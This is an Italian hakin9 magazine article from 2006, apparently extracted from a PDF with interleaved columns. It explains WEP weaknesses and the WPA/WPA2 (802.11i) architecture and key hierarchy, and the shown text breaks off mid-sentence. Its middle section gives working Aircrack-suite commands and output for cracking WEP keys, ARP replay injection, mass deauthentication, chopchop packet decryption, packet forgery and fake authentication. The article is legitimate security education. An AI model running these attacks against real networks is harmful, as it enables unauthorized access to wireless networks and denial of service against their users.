Sei sulla pagina 1di 15

Sicurezza Wi-Fi – WEP,

WPA e WPA2
Guillaume Lehembre

Articolo pubblicato nel numero 2/2006 della rivista hakin9


Tutti i diritti riservati. E vietato copiare e divulgare l’articolo in forma modificata.
Rivista hakin9, Casa editrice Software-Wydawnictwo, via Piaskowa 3, 01-067 Varsavia, Polonia; it@hakin9.org
Sicurezza Wi-Fi – WEP,
WPA e WPA2
Prima pagina

Guillaume Lehembre

Grado di difficoltà

Il Wi-Fi (Wireless Fidelity) è una delle tecnologie wireless più


importanti dei nostri giorni ed è sempre più presente nei nostri
dispositivi: portatili, palmari e cellulari. Eppure c'è una aspetto
relativo alla sua configurazione che viene spesso trascurato:
la sicurezza. Analizziamo meglio la sicurezza dei metodi di
crittografia usati nelle moderne apparecchiature Wi-Fi.

A
nche quando i dispositivi Wi-Fi hanno dove || è un operatore di concatenazione e +
le misure di sicurezza attivate, viene è un operatore XOR. Come possiamo vede-
spesso usato un protocollo di cifratura re, il vettore d'inizializzazione IV è la chiave
debole come il WEP. In questo articolo, esa- di sicurezza WEP, quindi per mantenere un
mineremo le debolezze del WEP e vedremo livello decente di sicurezza e minimizzare la
come è facile crackare il protocollo. La de- divulgazione, il vettore IV dovrebbe essere
plorevole inadeguatezza del WEP mette in aumentato per ogni pacchetto in modo che
evidenza la necessità di una nuova architettura i pacchetti successivi sono cifrati con chiavi di-
di sicurezza come lo standard 802.11i, quindi verse. Sfortunatamente in questo caso, il vetto-
analizzeremo da vicino anche i nuovi standard re IV è trasmesso in formato testo e lo standard
WPA e WPA2 insieme ai loro limiti e la loro in- 802.11 non si occupa dell'aumento del vettore
tegrazione nei sistemi operativi. IV, lasciando questo metodo di sicurezza

In memoria del WEP


Il WEP (Wired Equivalent Privacy) era il proto- Dall'articolo imparerai...
collo di cifratura predefinito del primo standard
• i limiti della crittografia WEP,
IEEE 802.11 introdotto nel lontano 1999. Esso
• una panoramica generale sullo standard
si basa su un algoritmo di cifratura RC4 con
802.11i e le sue implementazioni commerciali:
una chiave segreta di 40 bit o 104 bit combinata WPA e WPA2,
con un vettore d'inizializzazione (Initialisation • i concetti base del 802.1x,
Vector, IV) di 24 bit per cifrare il messaggio in • le eventuali debolezze di WPA e WPA2.
chiaro M e il relativo checksum – il cosiddetto
valore di controllo dell'integrità (Integrity Check Cosa dovresti sapere...
Value, ICV). Il messaggio cifrato C viene quindi
prodotto con la seguente formula: • i concetti base dei protocolli TCP/IP e Wi-Fi,
• conoscenza base di crittografia.
C = [ M || ICV(M) ] + [ RC4(K || IV) ]

14 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

a particolari componenti di terminali


wireless (punto d'accesso o scheda
wireless).

Breve storia del WEP


Il protocollo WEP non era stato creato
da esperti di sicurezza né da critto-
grafi, quindi si rilevò subito vulnerabile
ai problemi relativi all'algoritmo RC4
descritti da David Wagner quattro
anni prima. Nel 2001, Scott Fluhrer, Fig. 1: Protocollo di cifratura WEP
Itsik Mantin e Adi Shamir (FMS in
breve) pubblicarono un famoso studio anche questa utilità venne smentita richiedeva una manciata di minuti.
sul WEP, mostrandone le vulnerabilità con l'apparizione degli attacchi KoreK Al momento, WEP è quasi definitiva-
in termini di RC4: la invariance weak- nel 2004 (attacchi FMS generalizzati mente morto (vedere Tabella 1) e non
ness e gli attacchi a vettori IV cono- che comprendono le ottimazione di ne è consigliabile l'uso neanche con
sciuti. Entrambi gli attacchi si basano h1kari), e l'attacco induttivo di Arbau- una chiave a rotazione.
sul fatto che i bit nei byte iniziali del gh che consente ai pacchetti arbitrari I limiti di sicurezza del WEP potreb-
keystream possono dipendere solo da di essere decriptati senza conoscere bero essere riassunte come segue:
alcuni bit della chiave di cifratura (an- la chiave attraverso il packet injec-
che se di solito ogni keystream ha il tion. Dei programmi per il cracking • debolezze dell'algoritmo RC4 del
50% delle possibilità di essere diverso come Aircrack di Christophe Devine protocollo WEP a causa della co-
dal flusso precedente). Dal momento o WepLab di José Ignacio Sánchez struzione della chiave,
che la chiave di cifratura è composta implementano questi attacchi e pos- • IV sono troppo brevi (24 bit – me-
dalla concatenazione della chiave se- sono recuperare una chiave WEP di no di 5000 pacchetti richiesti per
greta e il IV, alcuni valori del vettore IV 128 bit in meno di 10 minuti (o poco una probabilità del 50% di colli-
possono generare chiavi deboli. più, a secondo del punto accesso sione) e riutilizzo di IV consentito
Le vulnerabilità vennero sfruttate specifico e la scheda wireless). (nessuna protezione contro le
da strumenti di sicurezza come Air- L'aggiunta di packet injection mi- ripetizioni di messaggio),
Snort che permettono alle chiavi WEP gliora notevolmente i tempi di cracking • nessuna valida verifica di integri-
di essere recuperate analizzando una del WEP, richiedendo non milioni, ma tà (CRC32 è usato per la rileva-
quantità sufficiente di traffico. Mentre solo migliaia di pacchetti con suffi- zione degli errori e non è sicuro a
questo tipo di attacco potrebbe esse- cienti IV unici – circa 150.000 per livello crittografico a causa della
re eseguito con successo su una rete una chiave da 64 bit e 500.000 per sua linearità),
impegnata entro un intervallo di tem- una chiave da 128 bit. Con il packet • nessun metodo integrato per l'ag-
po ragionevole, il tempo richiesto per injection, raccogliere i dati necessari giornamento delle chiavi.
l'elaborazione dei dati è abbastanza
Tabella 1. Storia del WEP
lungo. David Hulton (h1kari) progettò
una versione ottimizzata dell'attacco, Data Descrizione
prendendo in considerazione non solo Settember Possibile vulnerabilità RC4 (Wagner)
i primi byte del RC4 (come nel model- 1995
lo FMS), ma anche i successivi byte. Ottober 2000 Primo studio sui limiti del WEP: Unsafe at any key size;
Questo portò ad una leggera riduzio- An analysis of the WEP encapsulation (Walker)
ne dei dati richiesti per l'analisi. May 2001 Un attacco induttivo in testo chiaro contro il WEP/WEP2
La fase di verifica dell'integrità (Arbaugh)
soffre anche di gravi debolezze dovute
July 2001 Attacco CRC di tipo bit flipping – Intercepting Mobile
all'algoritmo CRC32 usato per questo
Communications: The Insecurity of 802.11 (Borisov,
compito. CRC32 è usato di solito per
Goldberg, Wagner)
la rilevazione di errori, ma non era mai
stato considerato sicuro a livello critto- August 2001 Attacchi FMS – Weaknesses in the Key Scheduling
grafico a causa della sua linearità, co- Algorithm of RC4 (Fluhrer, Mantin, Shamir)
me affermarono già Nikita Borisov, Ian August 2001 Uscita di AirSnort
Goldberg e David Wagner nel 2001. February 2002 Attacchi FMS ottimizzati da h1kari
Da allora si ritiene che il WEP
August 2004 Attacchi KoreK (IV unici) – uscita di chopchop e chopper
fornisce un livello di sicurezza ac-
July/August Uscita di Aircrack (Devine) e WepLab (Sanchez ) che
cettabile solo per utenze domestiche
2004 implementa gli attacchi KoreK
e applicazioni non-cruciali. Tuttavia,

www.hakin9.org hakin9 Nº 2/2006 15


Prima Pagina

Listing 1. Attivazione della modalità di monitoraggio


Richieste ARP
# airmon.sh start ath0 Il protocollo Address Resolution Pro-
Interface Chipset Driver tocol (ARP – RFC826) è usato per
ath0 Atheros madwifi (monitor mode enabled) tradurre un indirizzo IP di 32 bit in un
indirizzo Ethernet di 48 bit (le reti Wi-Fi
usano anche il protocollo Ethernet). Per
illustrarlo meglio, prendiamo un host A
Listing 2. Rilevazione di reti vicine e dei rispettivi client
(192.168.1.1) che vuole comunicare con
# airodump ath0 wep-crk 0 l'host B (192.168.1.2), un indirizzo IP
noto deve essere tradotto in un indiriz-
BSSID PWR Beacons # Data CH MB ENC ESSID zo MAC usando il protocollo ARP. Per
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo farlo, l'host A invia un messaggio broa-
dcast con l'indirizzo IP dell'host B (Who
BSSID STATION PWR Packets ESSID
has 192.168.1.2? Tell 192.168.1.1).
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo
L'host di destinazione riconosce l'indi-
rizzo IP nel pacchetto è uguale al suo
e restituisce una risposta (192.168.1.2
Il cracking della chiave WEP è il caso dei pacchetti di richiesta ARP is at 01:23:45:67:89:0A). La risposta
con Aircrack (vedere Riquadro Richieste ARP), viene di solito memorizzata.
Il cracking del WEP può essere fa- che sono inviati all'indirizzo broadcast
cilmente eseguito usando strumenti (FF:FF:FF:FF:FF:FF) e hanno una
quali Aircrack (creato dal ricercatore lunghezza fissa di 68 ottetti. Le richie- si scansionano gli altri canali. Il se-
francese Christophe Devine). Air- ste ARP possono essere ritrasmesse guente comando produce lo stesso
crack contiene tre utility principali, per generare nuove risposte ARP da output del comando precedente:
usate in tre fasi di attacco diverse un host legittimo, che risulta nello
per il recupero della chiave: stesso messaggio wireless cifrato con # airodump ath0 wep-crk 1
i nuovi IV.
• airodump: per lo sniffing e la cat- Nei seguenti esempi, 00:13:10: Successivamente, possiamo usare
tura delle reti provviste del WEP, 1F:9A:72 è l'indirizzo MAC del punto le informazioni raccolte prima per
• aireplay: per il packet injection di accesso (BSSID) sul canale 1 con aumentare il traffico con aireplay.
e aumento del traffico, il SSID di hakin9demo e 00:09:5B: L'injection inizierà quando ci appare
• aircrack: per il cracking di chiavi EB:C5:2B è l'indirizzo MAC del client nella rete wireless una richiesta ARP
WEP attraverso la cattura di IV wireless (usando WEP o WPA-PSK, associata con il BSSID:
unici. a secondo dei casi). Per eseguire lo
sniffing avremo bisogno dei privilegi # aireplay -3 \
Al momento aireplay supporta l'injec- di root. -b 00:13:10:1F:9A:72 \
tion solo su determinati chipset wire- Il primo passo è attivare la mo- -h 00:0C:F1:19:77:5C \
less, mentre l'injection in modalità di dalità monitor sulla nostra scheda -x 600 ath0
monitoraggio (monitor mode) richiede wireless (in questo caso un modello (...)
i più moderni driver patchati. La moda- Atheros), quindi possiamo catturare Read 980 packets
lità di monitoraggio è l'equivalente del- tutto il traffico (vedere Listing 1). Il (got 16 ARP requests),
la modalità promiscua nelle reti wired, passo successivo è rilevare le reti sent 570 packets...
e evitano il rifiuto dei pacchetti che non vicine e i loro client controllando tutti
sono intesi per l'host che monitora i 14 canali che le reti Wi-Fi possono Infine, aircrack viene usato anche
(che è spesso svolto nel livello fisico usare (vedere Listing 2). per recuperare la chiave WEP. Attra-
della pila OSI) e quindi consentendo Il risultato nel Listing 2 è inter- verso il file pcap possiamo lanciare
ai pacchetti di essere catturati. Con pretato come segue: un punto di ac- questo passo finale mentre airodump
i dirver patchati, è richiesta solo una cesso con il BSSID 00:13:10:1F:9A: è ancora intento a catturare i dati (ve-
scheda wirelss per catturare e aumen- 72 usa la cifratura WEP sul canale 1 dere Fig. 2 per i risultati):
tare il traffico allo stesso tempo. con il SSID hakin9demo e un client
Lo scopo principale dell'attacco identificato dall'indirizzo MAC 00: # aircrack -x -0 wep-crk.cap
è di generare traffico e catturare i vet- 0C:F1:19:77:5C sono associati con
tori IV unici usati tra un client legittimo questa rete wireless e autenticati. Altri tipi di attacchi con
e un punto d'accesso. Alcuni dati cifra- Una volta localizzata la rete di Aircrack
ti sono facilmente riconoscibili perché destinazione, è necessario iniziare Aircrack è in grado di lanciare anche
hanno una lunghezza fissa, un indiriz- la cattura sul canale corretto per altri tipi di attacchi molto interessanti.
zo di destinazione fisso, ecc. Questo evitare di mancare i pacchetti mentre Analizziamone alcuni.

16 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

Attacco 2: Deautenticazione
Questo attacco può essere usato per
recuperare un SSID nascosto (cioè
che non è broadcast), catturare una
handshake WPA a 4 vie o lanciare
un attacco di tipo Denial of Service
(ne parleremo in dettaglio più avanti,
nella sezione sul 802.11i). Lo scopo
dell'attacco è di obbligare il client
a ri-autenticarsi che, insieme ad una
mancata autenticazione per le trame
di controllo (usati per l'autenticazione,
associazione, ecc), consente all'ag-
gressore di falsare gli indirizzi MAC.
Un client wireless può essere de-
autenticato con il seguente comando
facendo in modo che i pacchetti di de-
autenticazione siano inviati dal BSSID
Fig. 2: Risultati di Aicrack dopo alcuni minuti
al client MAC falsificando il BSSID:
formato testo e adeguare il messag- 192.168.2.123 (00:0C:F1:19:77:5C)
# aireplay -0 5 gio cifrato. a 192.168.2.103:
-a 00:13:10:1F:9A:72 Se il pacchetto corretto è poi
-c 00:0C:F1:19:77:5C re-injected nella rete, esso verrà # arpforge \
ath0 abbandonato dal punto di accesso replay_dec-0916-114019.xor \
se la previsioni sono sbagliate (in tal 1 \
La de-autenticazione di massa è altret- caso deve essere fatto una nuova 00:13:10:1F:9A:72 \
tanto possibile (anche se non sempre previsione), ma per una previsione 00:0C:F1:19:77:5C \
affidabile) chiedendo all'aggressore corretta verrà ritrasmesso come al 192.168.2.123 \
di falsificare continuamente il BSSID solito. Ripetendo l'attacco per tutti 192.168.2.103 \
e re-inviare il pacchetto di de-autenti- i byte del messaggio si può decifrare forge-arp.cap
cazione all'indirizzo broadcast: un pacchetto WEP e recuperare il
keystream. Tenente a mente che nel Infine, aireplay è usato per ritra-
# aireplay -0 0 protocollo WEP l'incremento del vet- smettere questo pacchetto (vedere
-a 00:13:10:1F:9A:72 tore IV non è obbligatorio, è possibile Listing 5).
ath0 riutilizzare questo keystream per Questo metodo è meno automa-
falsare i pacchetti successivi (riutiliz- tico della falsificazione della richiesta
Attacco 3: Decriptare zando lo stesso IV). ARP eseguita da Aircrack (l'opzione
pacchetti WEP arbitrari senza La scheda wireless deve essere -1), ma è più scalabile – l'aggressore
conoscerne la chiave passata in modalità di monitoraggio può usare i keystream scoperti per
Questo attacco si basa su uno stru- sul canale giusto (vedere l'esempio alterare qualsiasi pacchetto che non
mento proof-of-concept della KoreK precedente per una descrizione su co- appartiene più al keystream (altrimenti
detto chopchop che è in grado di de- me fare). L'attacco deve essere lancia- è necessario espandere il keystream).
criptare i pacchetti WEP cifrati senza to contro un client legittimato (ancora
conoscerne la chiave. Il controllo di 00:0C:F1:19:77:5C nel nostro caso) Attacco 4: Falsa
integrità implementato sul protocollo e aireplay dirà all'aggressore di accet- autenticazione
WEP permette ad un aggressore di tare ogni pacchetto cifrato (vedere Li- Il metodo per cracker la chiave WEP
modificare sia un pacchetto cifrato sting 3). Vengono creati due file pcap: appena descritto (Attacchi 1 e 3)
sia il CRC corrispondente. Inoltre, uno per il pacchetto decifrato e l'altro richiedono un client legittimo (reale
l'uso dell'operatore XOR nel pro- per il relativo keystream. Il file che ne o virtuale, anche se reale è preferibile)
tocollo WEP significa che il byte risulta può essere letto attraverso un che sia associato ad un punto d'ac-
selezionato nel messaggio cifrato lettore adatto (useremo tcpdump) cesso affinché il punto d'accesso non
dipende sempre dallo stesso byte – vedere Listing 4 per un ping di esem- rifluiti i pacchetti a causa di un indirizzo
del messaggio in chiaro. Eliminando pio scambiato tra due host. di destinazione non associato.
l'ultimo byte del messaggio cifrato Una volta catturato il keystream Se viene usata un'autenticazione
genera una corruzione del messag- è possibile falsare qualsiasi pac- aperta, qualsiasi client può essere
gio ma permette anche di indovinare chetto. Di seguito vi presentiamo autenticato e associato con un punto
il valore del byte corrispondente in una richiesta ARP falsata inviata da di accesso, ma il punto di accesso ri-

www.hakin9.org hakin9 Nº 2/2006 17


Prima Pagina

fiuterà ogni pacchetto non cifrato con


Listing 3. Decriptare pacchetti WEP senza conoscere la chiave la chiave WEP giusta. Nell'esempio
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
del Listing 6, Aireplay è usato per
Read 413 packets... falsificare un'autenticazione e un'as-
Size: 124, FromDS: 0, ToDS: 1 (WEP) sociazione per il SSID hakin9demo
BSSID = 00:13:10:1F:9A:72 (BSSID: 00:13:10:1F:9A:72) con l'in-
Dest. MAC = 00:13:10:1F:9A:70
dirizzo MAC falsato 0:1:2:3:4:5.
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\
Alcuni punti di accesso richiedo-
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@......., no ai client di riassociarsi ogni 30 se-
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v condi. Questo comportamento può
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl essere imitato in aireplay sostituen-
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.
do la seconda opzione (0) con 30.
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...
0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q` 802.11i
Use this packet ? y Nel gennaio del 2001, nell'ambito
Saving chosen packet in replay_src-0916-113713.cap dell'IEEE venne creato un task group
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
i per migliorare l'autenticazione dei
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
(...)
dati 802.11 e la sicurezza crittografica.
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms Nell'aprile del 2003, la Wi-Fi Alliance
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms (un'associazione per la promozione
Saving plaintext in replay_dec-0916-114019.cap e la certificazione Wi-Fi) distribuì una
Saving keystream in replay_dec-0916-114019.xor
raccomandazione per rispondere alle
Completed in 183s (0.47 bytes/s)
preoccupazioni delle aziende in me-
rito alla sicurezza wireless. Tuttavia,
erano anche consapevoli del fatto che
Listing 4. Lettura di un file pcap i clienti non avrebbero sostituito la loro
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap attrezzatura tanto facilmente.
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) Nel giugno del 2004, venne
11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c DA:00:13:10:1f: adottato lo standard 802.11i e ricette
9a:70
il nome commerciale di WPA2 dalla
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
Wi-Fi Alliance stessa. Lo standard
ICMP echo request, id 23046, seq 1, length 64 IEEE 802.11i introdusse cambiamenti
fondamentali come la separazione
tra l'autenticazione dell'utente dalla
segretezza e l'integrità del messaggio,
Listing 5. Ritrasmissione di un pacchetto alterato
fornendo una architettura di sicurezza
# aireplay -2 -r forge-arp.cap ath0 robusta e scalabile adatta sia per le
Size: 68, FromDS: 0, ToDS: 1 (WEP) reti domestiche sia per grossi sistemi
BSSID = 00:13:10:1F:9A:72
aziendali. La nuova architettura per
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
le reti wireless è nominata Robust
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\ Security Network (RSN) e utilizza l'au-
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ..............., tenticazione 802.1X, una distribuzione
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF.... della chiave robusta e nuovi meccani-
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q.
smi di segretezza e integrità dei dati.
0x0040: 49b7 52da I.R.
Use this packet ? y
Anche se l'architettura RSN
Saving chosen packet in replay_src-0916-124231.cap è molto complessa, essa fornisce
You must also start airodump to capture replies. delle soluzioni sicure e scalabili per
Sent 1029 packets... le comunicazioni wireless. Un RSN
normalmente accetta solo disposi-
tivi RSN, ma IEEE 802.11i definisce
Listing 6. Falsa autenticazione anche un'architettura Transitional
Security Network (TSN) in cui pos-
# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 sono partecipare sia RSN sia i si-
18:30:00 Sending Authentication Request
stemi WEP, consentendo anche agli
18:30:00 Authentication successful
18:30:00 Sending Association Request utenti di aggiornare i loro strumenti.
18:30:00 Association successful Se le procedure di autenticazione
o di associazione usate tra le sta-

18 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

La risposta del client viene incluso nel


IEEE 802.1X e EAP messaggio di tipo Association Request
Il protocollo di autenticazione IEEE 802.1X (noto anche come Port-Based Network Ac- confermato dalla risposta Association
cess Control) è una framework sviluppata in origine per le reti wired che fornisce mec- Response dal punto di accesso. Le
canismi di autenticazione, di autorizzazione e di distribuzione chiave, e implementano informazioni sulla politica di sicurezza
il controllo sull'accesso per utenti che entrano nella rete. L'architettura IEEE 802.1X si è inviata nel campo RSN IE (Informa-
compone di tre entità principali: tion Element) con i dettagli su:
• il supplicant che entra nella rete,
• metodi di autenticazione suppor-
• l'autenticatore che fornisce il controllo sugli accessi,
• il server di autenticazione che esegue le autorizzazioni. tati (802.1X, Chiave segrete pre-
condivisa (PSK)),
Nelle reti wireless, il punto di accesso funge da autenticatore. Ogni porta fisica (porta • protocolli di sicurezza per traffico
virtuale nelle reti wireless) si divide in due porte logiche che compongono il PAE (Port unicast (CCMP, TKIP ecc.) – la
Access Entity). L'autenticazione del PAE è sempre aperta e permette di far passare pairwise cipher suite,
i le trame di autenticazione mentre il servizio PAE viene aperto solo in seguito ad una • protocolli di sicurezza per il traf-
autenticazione andata a buon fine (come in uno stato autorizzato) per un certo periodo
fico multicast (CCMP, TKIP etc.)
di tempo (3600 secondi di default). La decisione di permettere l'accesso è eseguita di
– il group cipher suite,
solito dalla terza entità, cioè il server di autenticazione (che può essere un server Radius
• supporto per la pre-autentica-
dedicato o – per esempio nel caso di reti domestiche – un processo che gira su un punto
di accesso). La Fig. 3 illustra come queste tre entità comunicano tra loro. zione, permettendo agli utenti di
Lo standard 802.11i esegue piccole modifiche al IEEE 802.1X per le reti wireless pre-autenticarsi prima di passare
per far fronte alla possibilità di furto di identità. L'autenticazione del messaggio deve es- ad un nuovo punto di accesso
sere incorporato affinché sia il supplicant sia l'autenticatore calcolino le chiavi segrete della stessa rete per un passag-
e permettono la cifratura prima di accedere alla rete. gio senza interruzioni.
Il supplicant e l'autenticatore comunicano usando un protocollo EAP. Come potete
notare, il ruolo dell'autenticatore è essenzialmente passivo – potrebbe semplicemen- La Fig. 5 raffigura la prima fase.
te inoltrare tutti i messaggi al server di autenticazione. EAP è una framework per il
trasporto di diversi metodi di autenticazione, accettando solo un numero limitato di
Fase 2: autenticazione 802.1X
messaggi (Request, Response, Success, Failure), mentre gli altri messaggi interme-
La seconda fase è l'autenticazione
diari dipendono dal metodo di autenticazione scelto: EAP-TLS, EAP-TTLS, PEAP,
802.1X basata sul EAP e il metodo di
Kerberos V5, EAP-SIM ecc. Quando l'intero processo è completato (a causa del
gran numero di possibili metodi non ci addentreremo nei dettagli), entrambe le entità autenticazione concordato in prece-
(cioè il supplicant e il server di autenticazione) hanno una chiave principale segreta. denza: EAP/TLS con certificati client
La comunicazione tra l'autenticatore e il server di autenticazione procede utilizzando e server (che richiedono una infra-
il protocollo EAPOL (EAP Over LAN), usato nelle reti wireless per il trasporto di dati struttura per chiave pubblica), EAP/
EAP con i protocolli di livello superiore come Radius. TTLS o PEAP per l'autenticazione
ibrida (con certificato richiesti solo
per i server) ecc. L'autenticazione
zioni utilizza una handshake a 4 vie, pubblicizzate su Beacon o in un mes- 802.1X viene iniziata quando il punto
l'associazione è detta RSNA (Robust saggio Probe Respond (seguendo un di accesso richiede i dati di identità
Security Network Association). Probe Request dal client). Ne segue del client, con la risposta del client
Per stabilire una comunicazione un'autenticazione aperta standard contenente il metodo di autentica-
è necessario avere quattro fasi (ve- (proprio come nelle reti TSN, dove zione scelto. I messaggi adatti sono
dere Fig. 4): l'autenticazione è sempre a buon fine). poi scambiati tra il client e il server

• accordo sulla politica di sicurezza,


• autenticazione 802.1X,
• derivazione e distribuzione di
chiave,
• segretezza e integrità dei dati
RSNA.

Fase 1: Accordo sulla politica


di sicurezza
La prima fase richiede alle parti coin-
volte nella comunicazione di stabilire
un accordo sulla politica di sicurezza
da adottare. Le politiche di sicurezza
supportate dal punto di accesso sono Fig. 3: Modello IEEE 802.1X dalla specifica IEEE 802.1X

www.hakin9.org hakin9 Nº 2/2006 19


Prima Pagina

La PMK stessa non è mai usata per il


controllo di cifratura o integrità. Inve-
ce, è usato per generare una chiave
di cifratura temporanea – per il traffi-
co unicast si tratta di una PTK (Pai-
rwise Transient Key). La lunghezza
della PTK dipende dal protocollo di
cifratura: 512 bit per TKIP e 384 bit
per CCMP. La PTK consiste di diver-
se chiavi temporanee:

• KCK (Key Confirmation Key


– 128 bit): Chiave per i messaggi
di autenticazione (MIC) durante
Fig. 4: Le fasi operative del 802.11i la Handshake a 4 vie e la Group
di autenticazione per generare una PSK viene generata dalla pas- Key Handshake,
chiave maestra comune (MK). Alla sphrase (da 8 a 63 caratteri) • KEK (Key Encryption Key – 128
fine della procedura, un messaggio o una stringa di 256 bit e for- bit): Chiave per garantire la se-
Radius Accept è inviato dal server di nisce una soluzione per le reti gretezza durante la Handshake a
autenticazione al punto di accesso domestiche e di piccole imprese 4 vie e la Group Key Handshake,
che contiene la MK e il messaggio che non hanno un server di au- • TK (Temporary Key – 128 bit):
EAP Success per il client. La Fig. 6 tenticazione, Chiave per la cifratura dei dati
rappresenta questa seconda fase. • se viene usato un server di au- (usata per TKIP o CMMP),
tenticazione, la PMK è derivata • TMK (Temporary MIC Key – 2x64
Fase 3: Distribuzione dall'autenticazione 802.1X MK. bit): Chiave per l'autenticazione
e gerarchia di chiave
La sicurezza nelle connessioni
dipende molto dalle chiavi segre-
te. Nel RSN, ogni chiave ha una
vita limitata e la sicurezza generale
è garantita da un'insieme di diverse
chiavi, organizzate in una gerarchia.
Quando viene stabilito un contesto di
sicurezza dopo una autenticazione
andata a buon fine, le chiavi tempo-
ranee (di sessione) vengono create
e aggiornate regolarmente fino
a quando il contesto di sicurezza non
viene chiuso. La generazione e lo
scambio delle chiavi sono affidati alla Fig. 5: Fase 1: Accordo sulla politica di sicurezza
terza fase. Si hanno due handshake
durante le derivazione delle chiavi
(vedere Fig. 7):

• Handshake a quattro vie per la


derivazione della PTK (Pairwise
Transient Key) e della GTK
(Group Transient Key),
• Group Key Handshake per il rin-
novo della GTK.

La derivazione della PMK (Pairwise


Master Key) dipende dal metodo di
autenticazione usato:

• se viene usata una PSK (Pre-


Shared Key), PMK = PSK. La Fig. 6: Fase 2: Autenticazione 802.1X

20 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

dei dati (usata solo da Michael


con TKIP). Una chiave dedicata
è usata per ogni lato delle comu-
nicazione.

Questa gerarchia è riassunta nella


Fig. 8.
Tramite la Handshake a 4 vie,
iniziata dal punto di accesso, è pos-
sibile:

• confermare la conoscenza del


client della PMK, Fig. 7: Fase 3: Derivazione e distribuzione di chiave
• derivare una nuova PTK,
• installare chiavi di cifratura e di
integrità,
• cifrare il trasporto della GTK,
• confermare la selezione di cifratori.

I quattro messaggi EAPOL-Key so-


no scambiati tra il client e il punto di
accesso durante la Handshake a 4
vie. Questo processo viene illustrato
nella Fig. 9.
La PTK viene derivata dalla PMK,
una stringa fissa, l'indirizzo MAC del
punto di accesso, l'indirizzo MAC del
client e due numeri casuali (ANonce
e SNonce, generati rispettivamente
dall'autenticatore e il supplicant). Il
punto di accesso inizializza il primo
messaggio selezionando il numero
Fig. 8: Fase 3: Pairwise Key Hierarchy
casuale ANonce e lo invia al sup-
plicant, senza cifrare il messaggio dal terzo messaggio usando la chia- MAC del punto di accesso e un nu-
o proteggendolo in alternativa contro ve KCK. Quando il supplicant riceve mero casuale GNonce. La lunghez-
il miscuglio. Il supplicant genera il pro- questo messaggio, la MIC viene za GTK dipende dal protocollo di
prio numero causale SNonce e ades- controllata per essere sicuri che cifratura – 256 bit per la TKIP e 128
so può calcolare una PTK e le chiavi di l'autenticatore conosca la PMK e ha bit per la CCMP. La GTK si divide in
derivazione temporanee, quindi invia calcolato correttamente la PTK e le diverse chiavi temporanee:
SNonce e la chiave MIC calcolata dal chiavi di derivazione temporanee.
secondo messaggio usando la chiave L'ultimo messaggio riconosce il • GEK (Group Encryption Key):
KCK. Quando l'autenticatore riceve completamento dell'intera handshake Chiave per la cifratura dei dati
il secondo messaggio, può estrarre e indica che il supplicant adesso in- (usata da CCMP per l'autentica-
SNonce (perché il messaggio non stallerà la chiave e iniziare la cifratura. zione e la cifratura e dalla TKIP),
è cifrato) e calcolare la PTK e le chiavi Dopo la ricezione, l'autenticatore in- • GIK (Group Integrity Key): Chiave
di derivazione temporanee. Adesso stalla le proprie chiavi dopo aver verifi- per l'autenticazione dei dati (usa-
può verificare il valore della MIC nel cato il valore MIC. Quindi, il dispositivo ta solo da Michael con TKIP).
secondo messaggio e essere sicuro mobile e il punto di accesso hanno
che il supplicant conosca la PMK e ottenuto, calcolato e installato le chiavi Questa gerarchia è riassunta nella
che ha calcolato correttamente la PTK di cifratura e adesso sono in grado di Fig. 10.
e le chiavi di derivazione temporanee. comunicare su un canale sicuro per Durante il Group Key Handshake
Il terzo messaggio inviato dal- traffico unicast e multicast. vengono scambiati due messaggi EA-
l'autenticatore al supplicant con- Il traffico multicast è protetto da POL-Key tra il client e il punto di acces-
tiene la GTK (cifrata con la chiave un'altra chiave, la GTK (Group Tran- so. Questa handshake fa uso di chiave
KEK), derivata da una GMK casuale sient Key) generata da una chiave temporanee generate durante la Han-
e GNonce (vedere Fig. 10 per det- principale detta GMK (Group Master dshake a 4 vie (KCK e KEK). Questo
tagli), insieme ad una MIC calcolata Key), una stringa fissa, l'indirizzo processo è illustrato nella Fig. 11.

www.hakin9.org hakin9 Nº 2/2006 21


Prima Pagina

Protocol Data Unit). Entrambi si rife-


riscono ad un singolo pacchetto di
dati, ma il MSDU rappresenta anche
i dati prima della frammentazione,
mentre i MPDU sono unità di dati
multipli dopo la frammentazione. La
differenza è importante nella cifra-
tura TKIP e CCMP, dal momento
che in TKIP la MIC viene calcolata
